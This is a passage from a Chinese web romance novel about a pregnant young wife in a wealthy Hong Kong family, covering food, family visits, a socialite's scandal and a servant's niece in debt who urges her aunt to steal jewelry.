糖渍梅子之所以叫糖渍梅子,就是用青梅去蒂后用粗盐揉搓,揉搓十来分钟,这样能去除青梅自带的酸味跟苦味,在清水浸泡晚上,第二天放在干净簸箕里自然风干,选个开水烫洗干净的罐头瓶子,在瓶子下面铺一层白糖,一层青梅一层白糖,最上面洒一小把粗盐,把管子密封好,过上十来天,糖渍梅子就做好了。 糖渍梅子一时半会做不出来,冰糖葫芦却是立马就能做出来的。 当天下午,姜沉鱼就吃到了酸甜可口、晶莹剔透的糖葫芦,自己吃一颗,休息会儿再吃一颗,厨房师傅做的糖葫芦裹着满满的糖霜,吃起来甜滋滋的透着酸甜。 姜沉鱼胃口大开,自己吃了大半,满足的抱着肚子躺在萧砚怀里砸吧嘴巴。 萧砚好笑道,“这么好吃,明天再给你做?” 姜沉鱼一本正经,“那可不行,糖葫芦一周吃一次就行,上面这么多糖,整天吃我就胖了。” 萧砚喉咙动了动,想说现在也不瘦了,起码白嫩脸蛋圆了一圈儿,不过碍于以往说实话,被某准妈妈揣下床,打了好几天地铺的悲催经历,他很明智的挑开了话题。 第47章 第47章感谢订阅 日子到了七月下旬,港城的天气一天热过一天,外头热日明晃晃挂在天上,随便出门走一圈都会出一身薄汗。 姜沉鱼怀胎满了三个月,萧家才对外放出好消息,这一段时间来老宅恭喜探望的豪门家眷数不胜数。 萧氏集团即将有下一任接班人,以往盯着萧砚的豪门千金总算死了心。 唯有一两个还在跃跃欲试想趁着姜沉鱼怀孕,趁机上位。 其中一位名媛甚至追着萧砚飞到了欧洲,打听到他所在的酒店,买通了酒店服务员,穿着清凉性感的红色吊带裙,吊带裙裙摆开得很大,几乎能俯瞰到整对白皙饱满的曲线,跟笔直修长的美腿,身段窈窕婀娜,美女名媛撩了撩乌黑长发,娇声嗲气来敲门。 当时萧砚在外跟欧洲负责人洽谈,酒店套房内有好几个股东在讨论项目,房间门一开,套房内一片寂静,桌前的几个人登时都呆愣住,很明显的能听见起伏的呼吸声。 这几个股东都不是清心寡欲的主,在外面没少包靓丽女学生当二奶,也不是头一回见到活色生香的画面。 只不过出身豪门的千金小姐主动送上门 他们还是头一次见。 当时就有位股东认出了那位名媛,“琳娜?” 琳娜是港城贺氏集团贺威的小女儿,跟这位股东算是远房亲戚,琳娜看清房间套房内的众人,慌不择路就要往回跑。 她一转身就跟进来送酒的侍者撞了个正着,两人撕扯间吊带裙吊带滑落,露出大半春光,琳娜大叫一声,捂着胸口跑回了自己房间。 这件风流韵事当晚就传回了港城。 萧砚回到酒店,某些股东还意犹未尽讨论这件事,他掀起眼皮淡淡的扫了过来,众人就齐齐噤声。 贺威得知此事,一张老脸丢尽了,亲自飞到港城甩了琳娜一巴掌,压着她回了港城。 琳娜狼狈不堪,觉得这都是姜沉鱼的错。 不是这个女人,当初嫁给萧砚的说不定就是她! 琳娜偷偷从家里跑出来,驱车到萧家老宅想找姜沉鱼麻烦,恰巧碰上乘车来看孙媳妇的萧老爷子。 琳娜在老宅门前大喊大叫。 “这不是我的错,都是萧砚设计我!” “他毁了我的名节,就要对我负责!” “胡闹,简直是不成体统!” “贺家怎么教出这样不知廉耻的女儿!” 萧老爷子对琳娜可没什么好脸色,当即把琳娜训斥一顿,一通电话打到贺家,把琳娜扭送回去。 贺家闹出这样的笑话,贺太太整日忙着挑选青年才俊,好把琳娜嫁出去才放心。 周日成朱莉戴着礼物来看姜沉鱼,顺便给她侃大山。 萧家老宅花木蓊郁,入眼郁郁葱葱,姜沉鱼怀孕怕热,却又不能在空调房多待,一天大半时间都在月园的凉亭里纳凉。 月园凉 亭四周都挂了席子,还有薄薄的轻纱,外面遍植千竿修竹,竹叶沙沙作响,翠竹生凉也不招蚊子。 成朱莉一进来就啧啧撑奇,“小鱼,你家这个凉亭真不错,回头也让我家老爷子建一个。” “这个想法不错,吃不吃山楂糕?” 沉鱼坐在沙发上吃山楂糕,嘴里忙活着,不忘递给朱莉一块。 朱莉一屁股坐在旁边。 “我不爱吃山楂糕,太酸了。” “对胃不好。” 朱莉常年在外头跑,大学在外国留学,整日喝咖啡冰水的,把胃给搞坏了,回国调理了好几年才有好转。 姜沉鱼请她吃山药糕,“多吃山药对胃好。” 朱莉还担心姜沉鱼听了外面的八卦心里不舒服,这会儿看她美眸潋滟,粉面莹润,就知道这货是个心大的,当下也不客气,抱着点心盘子,跟姜沉鱼一起吃点心讲八卦。 姜沉鱼这一胎,怀的十分顺畅,除了怀孕初始吐了两回,往后再也没吐过,这阵子简直胃口好的不得了,瞧见什么都想尝尝。 吃完山楂糕,姜沉鱼又想吃糖醋鱼跟鲜虾粥。 阿秋去了厨房,厨房立马开伙。 朱莉盯着她肚子戳了戳,“这里面真有两个小bb?” “前面刚做的检查,错不了。” 姜沉鱼一怀孕,萧家的医护团队就开始二十四小时待命,每次检查都细致入微,生怕出一点意外。 朱莉在老宅待了大半天,才依依不舍开车回设计室。 姜沉鱼吃完糖醋鱼跟鲜虾粥,漱了口在院子里散完步,回卧室倒头就睡。 一直到傍晚萧砚回来,她都没醒。 萧砚换好衣服过来,大手将姜沉鱼的细白小手握在手心,轻轻握了握,手心温滑细腻,某准妈妈在床上依旧睡得很熟,绯红的脸颊白皙恬静,看样子今天过得不错。 裴特助搬了一堆文件轻手轻脚进了套房。 “总裁,外滩项目的文件都在这了。” 萧砚点点头,轻轻出了卧室。 姜沉鱼一觉醒来,已经晚上八点,靠近窗帘的台灯温暖微亮,萧砚坐在沙发上批阅新项目企划案。 房间很安静。 港城四周临海,风从半开的窗外吹进来,带进股潮湿闷热的海风。 套房内没开空调,姜沉鱼睡出了一身香汗,打了个哈欠爬起来,嘟囔着要洗澡。 “阿秋呢,洗澡水泡好了吗?” 姜沉鱼径直进了浴室,没一会儿又露出娇面,“我要泡澡了,你还在这干嘛? 萧砚闻言非但没离开,反而慢条斯理摘下手表,将衬衣袖口往上折两圈,漫步进了卧室。 浴室里一声惊呼,姜沉鱼白嫩纤细的脊背抵在某人怀中,水汽氤氲中传来一声低笑。 “萧太太,没听过什么叫鸳鸯戏水?” 姜沉鱼:“” 呸,自从开了荤,这厮是越来越不要脸了。 姜沉鱼没说话,萧砚唇角不觉可查地弯了一下,刚想开口说话,这话还没说出口,俩人就听见了套房外王妈跟吴妈鬼鬼祟祟的低语声。 “王妈,二少爷跟少夫人忙着呢,咱们先下去吧。” “好,咱们小点声,要是让小两口听见就不好了。” “好好,咱们偷偷下楼去,半个小时一个小时后再上来啊。” “” 王妈和吴妈悄咪咪上楼去了。 下午外头变了天,吴妈刚把院子里晾着的被褥收进来,天色就变了,阴沉沉的乌云滚滚而来,没一会儿就下起了倾盆大雨。 “今个儿这场雨可真大,幸亏刚才把衣服收回来了,不然一准儿要淋湿了。” 吴妈站在窗户边看着窗外的狂风大雨一脸庆幸。 外面乌云密布,屋子里就暗了下来。 现在才下午三点多,还不到开灯的时候。 王妈索性放了张小板凳在屋檐下,一边儿看院子里下雨,一边儿忙活着纳鞋底。 王妈活了半辈子,就喜欢穿自己做的鞋子,软乎舒服还轻便。 大雨吹的窗户咣当作响,吴妈关了窗户,也坐下了拿出之前摘的豌豆来,摘了起来准备晚上吃的饭。 “少夫人喜欢吃鱼,厨房里有鱼吧?” 王妈笑着指了指厨房里的一个木盆: “二少爷临走的时候专门叮嘱过,说是让咱们晚上炖鱼汤喝。” “这鱼现在还活着呢,晚上做鱼吃肯定新鲜。” 吴妈也笑着加了一句。 活着的大草鱼? 阿秋下了楼闻言顿时来了兴趣,兴致勃勃跑到厨房里一看,半大的木盆里装着一盆清水,里面好几条大草鱼正躺在浅水里,这大概是几条脾气暴躁的鱼,见阿秋探头探脑地看过来,鱼尾巴一甩,溅了满地的水。 要不是阿秋躲闪快,怕要回去去换衣服了。 “吴妈说的没错,这鱼还活着呢。” 差点儿被泼了一身的水,阿秋非但没有生气,还笑嘻嘻的。 晚上吃鱼,还是吃新鲜的大草鱼,当然很开心。 “新鲜好啊,新鲜了鱼才好吃。” 王妈乐呵呵应了一句。 阿秋闻言,杀气腾腾地对着木盆里的鱼做了个抹脖子的动作。 “王妈,不如咱们现在就杀了这条鱼,让它们做几条死得瞑目的草鱼。” 木盆里的大草鱼: 傍晚的时候,外头的雨渐渐小了下来,随着雨水沙沙敲打着瓦片的声音,厨房的几条大草鱼还是成了一锅味道鲜美的酸菜鱼。 厨师做的酸菜鱼味道极好,奶白色的鱼汤上点缀着一片片碧绿色的香菜,配上陆家小菜园里的豌豆做出来的臊子面,吃一口鱼肉,再喝一口热面汤,浑身上下都舒畅起来。 七月下旬,绿意苍茫的海岛点缀着渲染的晚霞,染红了半边天。 外面日头热辣,即便已到傍晚,树林枝头亦无一丝风,港城放了暑假,萧茗在家有家教辅导功课。 快四岁的萧甜头发微卷,扎着珍珠发卡,白白净净圆脸杏眼儿,穿身粉红色洋装,漂亮的像个洋娃娃。 她一看见姜沉鱼过来,立马要扑过来,被身后的保姆护住。 “少夫人有了bb,不能往她肚子上扑。” 萧甜懂事点头,乖乖站着不敢靠近姜沉鱼。 姜沉鱼笑眯眯招呼她过来,给小团子塞了块草莓蛋糕,萧茗的家庭女教师合拢书本出来。 姜沉鱼用粤语同她聊了会儿,家庭女教师话不多,不过该讲的都进了。 外面酷暑肆虐,家庭女教师口干舌燥,又惦记着家中的事情,喝过一杯蜂蜜水后,开车出了老宅。 姜沉鱼抬头看了看日头,准备带萧甜回花厅乘凉散心。 这几日老宅事情不多,家中女佣大都请假回家探亲,阿秋没回家,她泡了壶解暑的蜂蜜柚子茶,又端了两盘点心,一大两小刚想惬意靠在桌前品尝。 蔡太太突然带着蓉蓉跟八个月大的女儿上门做客了。 蔡太太不是一个人来的,陪她一起的还有蔡家二少爷蔡润泽。 蔡润泽依旧西装革履,穿着白衬衫咖啡色西装,双手插兜,眉眼带笑的姿态,一双桃花眼温柔醉人。 蔡润泽这趟来也不是白来的,他想请姜沉鱼当红媒。 “你想追我家思敏?” 姜沉鱼听了这话,手里的茶杯差点儿没飞出去。 蔡润泽在港城可是出名的风流倜傥,前女友数不胜数,跟思敏哪能是一路人。 再者说大房跟三房的关系摆在这,姜沉鱼怎么也不会出面当这个媒人。 蔡太太显然也知道这一点,不过她实在是被小叔子缠烦了,这才厚着脸皮登门。 姜沉鱼仪态娴静,婉言拒绝。 “蔡二少爷,恕我不能帮这个忙。” 蔡润泽似乎早就料到姜沉鱼会拒绝,很绅士笑道。 “没关系,少夫人跟我没有交情,不帮忙也是情理之中的事。” 姜沉鱼不帮忙,蔡润泽也就 没了待下去的理由,他起身告辞,生叔去送他。 蔡太太继续在萧家做客,她难得来一趟,不想回去那么早。 蔡润泽走到一半,他单手插兜,站在台阶上,回头看了看,姜沉鱼正跟大嫂聊天,身边的萧甜不知道说了什么,她笑了笑,整个人白玉雕砌的一般,在晚霞下眉眼昳丽,冰肌玉骨。 蔡润泽心下腹诽,怪不得萧砚清心寡欲多年,一朝动了心。 这样的美人儿,没有几个男人能不动心 蔡润泽摇摇头,出了萧家老宅。 姜沉鱼察觉到远处的目光消失,这才不动声色跟萧太太聊天。 蔡太太在家闲了几个月,她是慈母,不忍心丢下襁褓中的小女儿四处游玩,故而只能憋在家里。 这一憋就是几个月,可把萧太太憋个够呛。 姜沉鱼给她出主意,“等囡囡满周岁了,可以带着她一起去旅游。” 蔡太太颓废摆手,“不行,我家囡囡是个恋家的,出了门半小时绝对要哭。” 这话刚说出口,保姆怀里张手张脚的胖囡囡哇一声就嚎了起来,那家伙儿声音响的,如魔音穿耳。 蔡太太有气无力道了声,“这回你懂了吧。” 姜沉鱼:“” 这种情况她还真没见过。 蔡家小囡囡哭闹个不停,蔡太太只得告辞。 江城这边也得到了姜沉鱼怀孕的消息,姜奶奶喜乐开怀,不到半个月时间,姜沉鱼已经收到好几个来自江军区的包裹,打开一看几乎全都是姜奶奶二老寄来的,什么银耳蜜枣,红糖枸杞,蜜饯柿饼。 更有甚者,姜奶奶居然给她寄来了好几棵手指粗的人参,看着人参上面粗拉拉的须子,姜沉鱼多少有些哭笑不得。 下一次姜沉宁打来电话的时候,姜沉鱼就在电话里三令五申,让她快想办法不要让奶奶再往港城寄补品了,她这么年轻真的不用补身子的。 再说萧家老宅什么也不缺。 姜沉宁也有自己的烦心事,这一天天的,奶奶老是把目光盯在她身上,想把她嫁出去,她真的挺愁的。 而且萧建军整天沉着脸,这些日子,他跟文燕容五天一大吵,三天一小吵,再好的感情也给磨没了。 今天一早上,文燕容又跟他闹,萧建军疲惫不已,心里动了离婚的念头,他在家里坐不住就来了老宅。 姜爷爷二老见了他面上也是淡淡的,萧建军背影孤独,早早显露了疲态。 这话姜沉宁没跟她姐讲就是了。 姜沉鱼在电话那头听了莞尔一笑,笑到最后姜沉宁恼羞成怒了,才开口道: “我有个方法你要不要试试?” 什么办法? 姜沉宁一喜,催促着她姐赶紧说。 姜沉鱼:“你早点嫁出去,给奶奶找个孙女婿,奶奶就不会盯着你了。” 姜沉宁小脸爆红,啪一声挂了电话。 电话那头的姜沉鱼啧了一声,笑眯眯也挂上了电话。 她这幸灾乐祸的模样,要是让姜沉宁看见了怕是更要气了。 夏日过得飞快,金秋降至,中秋节前三天,港城市中心会举办盛大的迎中秋灯会,晚上火树银花,白日也是热闹异常。 港城商户这几日都在折腾鲜花月饼,想在中秋节前推出,小赚一笔。 港城美食丰盛,每到中秋各种月饼层出不穷,什么莲蓉月饼、豆沙月饼、枣泥月饼还有后世给黑上天且最常见的——五仁月饼。 港城的鲜花月饼,鲜花月饼取鲜嫩的茉莉花瓣,在盐水中浸泡,跟乌梅、桂花蜜汁、蜂蜜、面粉揉在一起,佐以拌好的果酱,放入饼模,压紧,脱摸,在烤炉中烘烤,烘烤出的月饼有讨喜的寿桃,也有年年有鱼,嫦娥奔月,色泽金黄,饼皮酥软,入口馥郁的果酱和淡雅的茉莉花味在嘴里萦绕,幸福感满满。 鲜花月饼一上市,便好评如潮。 擀皮儿、揉花馅儿、印模、烘烤,一上午忙的团团转。 厨房做的有月饼口味独特,萧茗和萧甜荤素不忌都爱吃,王妈年纪大了,独爱吃甜月饼。 萧长章这个祖父让萧茗和萧甜带的,也是无肉不欢。 况甜月饼不多,便都与两个小的吃了。 姜沉鱼剥了个宝塔月饼,上好的糯米软糯豆沙沙甜,月饼中的包着的五花肉肥而不腻,吃起来口齿留香,湖州月饼果然名不虚传。 一家人吃饱喝足,萧茗和萧甜日常犯困, 今日中秋佳节,早上有小卖螃蟹便买了一篓回来,晚上一家人吃月饼尝鲜蟹,再来一壶热热的菊花酒过大节! 郭玉琴一面看王妈她们拾掇螃蟹,一面欢笑着回忆往昔,“我小的时候,那会儿吃的可不比现在差,八九月正是螃蟹肥嫩的好时候,这个时候的螃蟹肉厚肥嫩,而且味美色香,膏蟹、肉蟹放在锅上蒸,肉质细嫩,膏似凝脂,味道鲜美,蒸好的肥蟹在手里,蟹黄满满的溢出来,用嘴吸一口蟹,满嘴都是鲜香” 可惜姜沉鱼怀着崽崽,吃不得螃蟹。 第48章 第48章感谢订阅 姜沉鱼不能吃螃蟹,却能吃家中做好的四时鲜花饼,阿秋去厨房提了一碟来,用竹编的八宝点心盒装了,送过来。 “少夫人,厨房张叔专门给您做的。” “还有您爱吃喝的牛乳茶,趁热喝。” 阿秋喜滋滋回来,对少夫人的好人缘也与有荣焉。 张叔在萧家老宅当了十几年厨子,算起来也是家里的老人了,张叔四十来岁,家里有三个姑娘,没有儿子,虽然没有儿子,张叔对女儿们照样疼爱,孩子们一到年纪就送到公立学校去念书,争取有个好前程。 去年冬天,张叔最小的女儿贪玩摔断了腿,送去圣玛利医院,医生说要动手术,需要一大笔手术费跟营养费。 张叔一家五口全靠他养活,哪有余钱做手术,一家人急成热锅上的蚂蚁,姜沉鱼偶然得知这事,让王叔提前支付了他三个月的薪水,又拿了一笔钱当营养费,一并送到张叔手中。 张叔夫妇对姜沉鱼感激涕零,每天变着花样给姜沉鱼补身子。 姜沉鱼正眼馋桌上的螃蟹,见有鲜花饼吃,顿时美眸一弯。 “多亏了张叔,今天我有口福了。” 说完便低头捻了块鲜花饼,盘中一块块切好的鲜花饼不算大,色泽如玉氤氲着香气,摆放在青瓷小碟中如春日樱花绽放,煞是好看。 姜沉鱼吃了两三块,剩下的都给阿秋贪吃了。 港城秋日外面阳光也不容小觑,姜沉鱼许是怀孕的缘故,每次出门都会出一身薄汗,阿秋纸伞给她遮阳也没多大用处。 偏姜沉鱼怀孕要多走动,她每次回来都要泡个澡,跑完澡就上床沉沉睡去,第二天起床经常见不到萧砚。 最近萧氏集团拓展海外生意,又在内地开了几家分公司。 萧砚一连几天不见到人是常事,姜沉鱼对此也习惯了,某人不在家她乐得自在。 中秋佳节这段时间,萧家大房跟三房都很平静,远在澳洲的二房却平地起波澜。 中秋节二房一家人出门购物,别墅的园丁跟其他佣人也回了家。 二层别墅内只有杭嫂在打扫卫生,门外铃声响起的时候,杭嫂正挽着袖子擦地板。 杭嫂以为是二太拉下东西忘拿了,赶忙去开门。 结果外头站的是许久未见的侄女—杭梦梦。 杭嫂哥哥早年去世,留下一儿一女,杭嫂就帮着嫂子拉扯侄子侄女。 杭嫂跟嫂子在外面做工,杭梦梦兄妹俩在学校读书。 后来杭嫂嫂子改嫁,杭梦梦兄妹跟随杭嫂子 来了港城,杭家大儿子读了博士,小女儿杭梦梦却早早谈了恋爱。 “这孩子怎么不说一声就来了?公司放假了?”见到侄女,杭嫂脸上有了笑容。 “没有,我请假来的。”杭梦梦低声说,脸上有哭过的痕迹。 “出事了?”杭嫂脸上的笑容没有了。 杭梦梦低着头,一头黑发染成了棕色,脸上抹着厚厚的粉底,脖子上挂着金链子,明明才二十出头的她,青春洋溢的年纪面容憔悴的像澳洲三十几岁的家庭妇女。 “姑妈,你救救阿杰吧?阿杰现在被讨债的人抓起来了,我真的没钱了才来找的你。”突然,杭梦梦抱着杭嫂的手哭了起来。 “这到底是出了什么事呀!”杭嫂着急上火。 “是,阿杰前几个月辞了工作说要创业自己当老板,我们就借了一笔高利贷,想着公司开起来了就能把钱还上了,谁知道阿杰被人骗了,我手里也没钱了,阿杰被要债的打了一顿带走了”杭梦梦哭哭啼啼。 “你们欠了多少钱?”杭嫂问。 “二十万澳币。”杭梦梦战战兢兢回答。 别墅内静了一妙,传出杭嫂子发怒的声音:“杭梦梦,你是不是想要你姑妈我去死啊,二十万澳币!你姑妈干一辈子的保姆也挣不了这么多钱!” “姑妈,我知道的,二太以前是萧家的姨太太,现在他们一家都不在家,姑妈,二房这么多值钱的珠宝,你随随便便拿上一两件啊,姑妈干嘛打我!”杭梦梦冷不丁被甩了一耳光,眼眶泛红看向人。 “杭梦梦,你什么时候变的这么没用廉耻,你自己欠了钱居然调唆我去偷二太太的财产,我是你姑妈呀,养你长大的亲姑妈,你真是黑了心肝!”杭嫂颤抖着手怒道: “你忘了要不是二太太,你现在还在港城当女工!” “你啊……你走吧,你想的那些……是不可能的!梦梦呀,做人要讲良心。自作孽不可活啊。”杭嫂无力道。 屋里安静了片刻,忽然传出杭梦梦呜呜的哭声。 “我怎么了?我怎么了?”她哭着说,“姑妈,我怎么就成了作孽了,我辛辛苦苦的上班,阿杰每天起早贪黑的进货,我们不就是想多挣点钱让日子好过点吗?怎么就成了自作孽了?” “还有钟莉她怎么就成了我们一家的恩人了,您是靠自己双手吃饭的,我哥考上博士也是自己考上的,我也没靠钟莉养,她怎么就成了我们一家人的恩人了?恩人,她配吗?她不就是个脱了衣服卖肉的戏子吗?她哪里比我们高贵了?就因为她会演戏,就因为她会泡男人?!姑妈,我不服气!” “她们家这么有钱,出钱帮帮我们怎么了?”杭梦梦哭着喊着,总算把心底里的话说了出来。 从小杭梦梦对于二房的态度就是矛盾的,她既羡慕二房的富贵,又在心底鄙夷二房人。 钟莉的珠宝盒里,有好多流光溢彩的珠宝,每一件都透着说不出的精致。 特别是钟莉最喜欢一套宝石紫水晶首饰,由耳环和胸针、戒指三件组成,是当年萧老爷子送给二太的定情信物。 杭梦梦很喜欢钟莉那只紫水晶蝴蝶胸针,有次她来看姑妈,趁着姑妈擦拭屋子的时候,悄悄打开珠宝盒把紫水晶胸针放在了口袋里,结果被杭嫂发现了,狠狠打了她一顿。 从那以后,杭梦梦就怨上了萧家二房跟杭嫂。 杭梦梦一顿吼,彻底让杭嫂失望,气不打一处来,拿着拖把把她赶了出去。 杭梦梦狼狈后退,临走前眼神阴冷的回眸道,“姑妈,这是你们逼我的!以后不要后悔!” 杭嫂正要追出去问清楚,杭梦梦已经开发动汽车驶出去老远。 杭嫂愣了半晌,擦干眼泪继续回去擦地板。 傍晚二房一家人回来,萧思琪进门前特意留意了鞋柜,发现儿子岳豪穿的几双球鞋已经洗晒干净,客厅里也打扫到纤尘不染,摆上了新鲜的玫瑰花。 萧思琪看着低眉顺眼的杭嫂,冷哼一声踩着高跟鞋上了楼。 二太疲惫回卧室早早歇下,岳家明最近一门心思想把外甥女王蔷说给林家的少爷,阔大自己的商业版图,也没注意到杭嫂肿起的眼皮。 翌日一早,岳家明迫不及待去接了外甥女,驱车去了林家公司。 林家公司市区,上午九点,一辆黑色的轿车稳稳停集团大楼下,司机下车打开车门,从车上走下两个人,岳家明西装革履,身后跟着外甥女王蔷,王蔷穿着白色丝制衬衣,黑色一步裙,踩着高跟鞋,长发飘飘,手中提着爱马仕限量版的包包,漂亮又不失甜美。 王蔷站在楼下,望着面前高耸的写字楼,高大的楼体被白色大理石墙砖包裹着,大大的落地镜,充满着现代化的精致感。 “蔷蔷,走吧,林家那小子还在楼上等着呢!”岳家明走出一段路,回头看见外甥女还在原地不动,开口催促。 王蔷听见舅舅冷不丁的提起林战心头猛跳,在自己的手臂狠狠掐了一把,这才按捺下激动,向前走去。 可以去见林战,王蔷觉得,她应该是高兴的,可是心里的那股子不确定总会时不时的冒出来,她不确定林战会不会答应舅舅的要求,就算是林战答应了舅舅的条件,那他会真心实意的跟她在一起吗?这些不确定,像是冰雕的尖锐不小心戳在心上,疼痛又冰冷。 王蔷跟岳家明到林家公司所在楼层的时候,林战还在会议室开会。 林战的助理,金发碧眼的史密斯看见两人,笑脸热情用流利的中文上前: “岳先生您这么快就来了,王小姐也一起来了,林总现在开会,请岳先生跟王小姐到贵宾室先休息一下。” 岳家明点点头在助理史密斯的带领下走进了贵宾室,王蔷魂不守舍的跟在后面。 集团的前台给两人端来了咖啡和饼干,岳家明一向喝不惯咖啡,他翘着二郎腿点燃嘴里的烟,吞云吐雾了一会儿才注意到面色苍白的王嫱: “蔷蔷,你不用担心,有舅舅在,舅舅敢打保票,这次这么大的生意,林家那小子一定动心。” 岳家明弹了弹烟灰,笑眯眯的看一眼面容姣好的王蔷,眼里满是笃定。 岳家明是港城古惑仔出身,他姐姐最开始也混社会,后来仗着姿色好,给港城王家的大少爷当了二奶,生下一儿一女。 王家数年前迁居澳洲,在华人圈也算数得上的豪门,王蔷父亲五十多岁,离了两次婚,现在的女友是个漂亮的小模特。 在他们这个豪门圈子里,豪门夺产、婚外恋,小三小四现实中的豪门恩怨情仇,岳家明见的太多了,这其中的波折与戏剧程度与港城狗血电视剧里的剧情相较而言,还要荒唐可笑。 王蔷家境富足,之前又在法国留学,精通多国语言,长相娇美可人性子又好,岳家明心里清楚的很,对于工作狂且对生活琐碎之事没有耐心的林战,王蔷绝对是最好的妻子人选。 更何况王蔷还有身价不菲的嫁妆,对于现在深处困境的林家,这笔资金可以算的上一场及时雨了。 岳家明吐出一口烟,意味深长地笑了笑。 * 林战开完短会之后,回到办公式坐在办公椅上疲惫的闭上了眼睛。 林战在事业上一向很拼,他从早上八点到公司就一连主持了好几个会议,一直忙碌到现在。 林战刚休息了一会儿,门外传来轻轻地敲门声,林战说了声: “进来。” 话音刚落,助理史密斯就推门进来: “林总,岳先生跟王小姐来了一会儿了。现在在贵宾室等您。您要不要去见一下?” 助理史密斯的话刚说完,林战想起一些事情,脸色瞬间阴郁难看起来,抬眸时,他眼中的厌恶一闪而过,但只过半瞬,又恢复成往日霁月清风的模样。 “知道了,你先去招待一下。” “好的,林总。” 两天后,伺候二太钟莉的杭嫂突然开口跟她借钱,说是生病了要做手术。 钟莉对此没有怀疑,杭嫂对她忠心耿耿,这么多年从港城到澳洲,跟在她身边的没几个老人了。 钟莉想不出杭嫂有什么理由骗她。 钟莉给了钱,杭嫂也没有去医院就诊明,而是匆匆忙出了门,被家里的园丁看见了,讲给二太听。 钟莉起了疑心,找人一查才知道,原来杭梦梦来二房找过目的就是要钱去还男朋友的赌债,最重要的是,有人看见 杭梦梦跟岳豪在街头,旁若无人抱在一起接吻。 二太钟莉一双幽碧的蓝眸冷沁如冰,她吃斋念佛这些年,让有些人忘记了自己手上也是沾过血的。 林战跟王蔷的婚事搁浅,林家老爷子怕孙子不同意,特地从米国飞来澳洲敲打孙子。 “你小子年纪也不小了,到现在还是光棍一条,你小子演了这么多戏,不就是为了把林家做强做大?” “别忘了咱们林家是怎么沦落到这一步的!” “当年你爷爷输给了萧家,到你这一辈子也想让萧家人当狗一样压一辈子?!” 林老爷子的一番话直接堵住了林站的嘴巴。 当年林萧两家在港城是死对头,林家败下阵来,退居海外。 这几十年林家老爷子一直特意打探萧家的消息,萧家长孙在西班牙出意外,林家上下高兴不已,后来发现萧氏集团的二公子虽然年轻低调,却颇有城府。 自从萧砚任集团总裁之后,公司一改过去低调的作风,变得凌厉而强势。 林战几次跟萧砚交手都没沾到好处,命运有时候真是挺有趣的,没想到这么快他又要跟萧砚在商场上角逐胜负了。 林战翻了翻手中的标书,冷冷弯了下嘴角。 * 港城秋日一派如洗的碧蓝,萧家老宅栽种大片金桂,秋风一吹,飒然生香。 九月二十是萧家老夫人叶秋月的忌日,每年这时节,萧家大房一家人都会在家中祭奠先人。 老宅院落中,摆了一张高几,上面摆满各色精致的大盘小碟,里面俱是叶秋月生前爱吃的素斋。 萧老爷子怀念发妻,大房、三房这几天都禁食荤腥油腻,姜沉鱼怀着身子跟着吃了素斋,她倒是能适应,三房一家人可是怨声载道,恨不能早点吃点肉食。 傍晚的天边云蒸霞蔚,姜沉鱼跟阿秋慢悠悠地沿着小路走到后花园,出了一身汗,回去洗个澡就睡下了。 萧砚回来的时候,姜沉鱼穿着水光粉的睡裙,衬着人如玉雕琢,柔美娇媚,萧砚指腹在她眉眼轻缓地摩挲几下,回到沙发上想起白天从澳洲传来的消息,黑眸里的光泽莫名冷了冷。 姜沉鱼睡醒发现卧室亮着台灯,她眯眼看了一会儿,眼睛酸涩,下意识揉了揉眼。 “你回来了?” 萧砚察觉,侧头看向她,冷峻的眉眼带笑,当下手里的文件倾身抱她,在她发顶吻了吻。 “今天吃得好不好?” “还行,就是老犯困。” 姜沉鱼往他怀里偎了偎,脸颊贴在他结实温热的腰腹上,又沉沉睡了过去。 这一觉睡到晚上十点,姜沉鱼眼都没睁开,就闻到了海鲜粥的粥香。 她伸了个懒腰,笑盈盈睁开眼,就看见萧砚坐在桌边,正在煮粥。 见她醒了,萧砚侧头笑了笑,擦了手扶她起来坐好。 “睡的舒服吗?” 他问这话时语气带笑,有几分戏谑。 姜沉鱼是睡足了,不过她肚子饿了,萧砚收了笑,将粥搁在她面前。 “饿了吧,快吃。” 姜沉鱼吃个肚饱,又下楼溜达一圈才算完。 第二天,姜沉鱼跟郭玉琴一起带着萧茗跟萧甜出门逛庙会,中秋节节日盛大,尽管天儿不算好,港城街道上做生意的小商贩却是不少,做面人的,卖蒸糕的,耍猴玩把戏的,让人看得眼花缭乱。 萧甜趴在轿车玻璃上,一会儿想买点小玩意儿,一会要吃小点心,一会儿又嚷嚷着要下车去看小猴儿跳火圈。 郭玉琴给孙女吵的头都大了,萧茗的眼神却落在外头一处卖小兔子的阿伯处,姜沉鱼跟着往外看了一眼,好嘛,总算晓得这孩子为何这么安静了,原来是想买兔子回家养! 萧茗打小就喜欢那些毛茸茸的小动物,什么小狗、小猫、兔子、松鼠、咩咩羊,就连萧砚送给姜沉鱼的波斯猫也没逃过他的魔爪,那家伙,糯米的毛尾巴差点儿让萧茗薅秃了。 郭玉琴见孙子这小模样,不由笑开了,“王妈,最近日子冷清,去买一对小兔子回来养着顽罢。” 萧茗眼神一亮,萧甜也馋街上的花生糖呢,应了声跟王妈就下车了。 萧甜在后车座里见了,也跟着往车下蹦。 “做什么去!老实在车上待着!” 郭玉琴眼疾手快把萧甜扯回来,瞪她一眼,“瞧瞧你买的这堆儿,还想去做什么?” 可不能让这孩子下去,下去了非把街上的美食全搬回来不可。 “再不老实,回家吃一顿打!” 郭玉琴性情一向洒脱,平日里哪会说这么种的话,可见是对孙女没耐心了。 萧甜抖了抖小身子,知道自个儿闹过火了,忙把小手放下,小脸儿更是乖乖巧巧的样子,乖顺表示只要包花生糖就好了。 郭玉琴心一软,放孙女下了车, 姜沉鱼在边上忍着笑,心道自个儿生两个跳脱的小姑娘也不错,往后日子多热闹啊。 第49章 第49章感谢订阅 萧甜得了郭玉琴允许下车,后面跟着保姆跟两名保镖,没几分钟就乐滋滋揣着包花生糖并两包点心上了车,后头跟着小心翼翼提着小兔子的萧茗。 “小婶婶,吃块花生糖可甜呢。” 萧甜穿着粉红公主裙,漂亮的像个洋娃娃,亲昵跑跳上车,挨着姜沉鱼坐下。 小团子一双杏眼又大又清澈,把手里的桂花糖塞过来。 阿秋在边上欲言又止,郭玉琴、王妈她们在边上微笑不语,姜沉鱼打了个哈欠,美眸潋滟,雪白手指捻了块花生糖。 “好吃。” “花生糖凉了不好吃,甜甜快吃吧。” 姜沉鱼怀着孕也对小团子温言细语,萧甜高兴点点头,又请郭玉琴跟王妈她们尝了桂花糖,才美滋滋抱着桂花糖吃起来。 萧茗则目不转睛盯着笼子里的两只雪白小兔子。 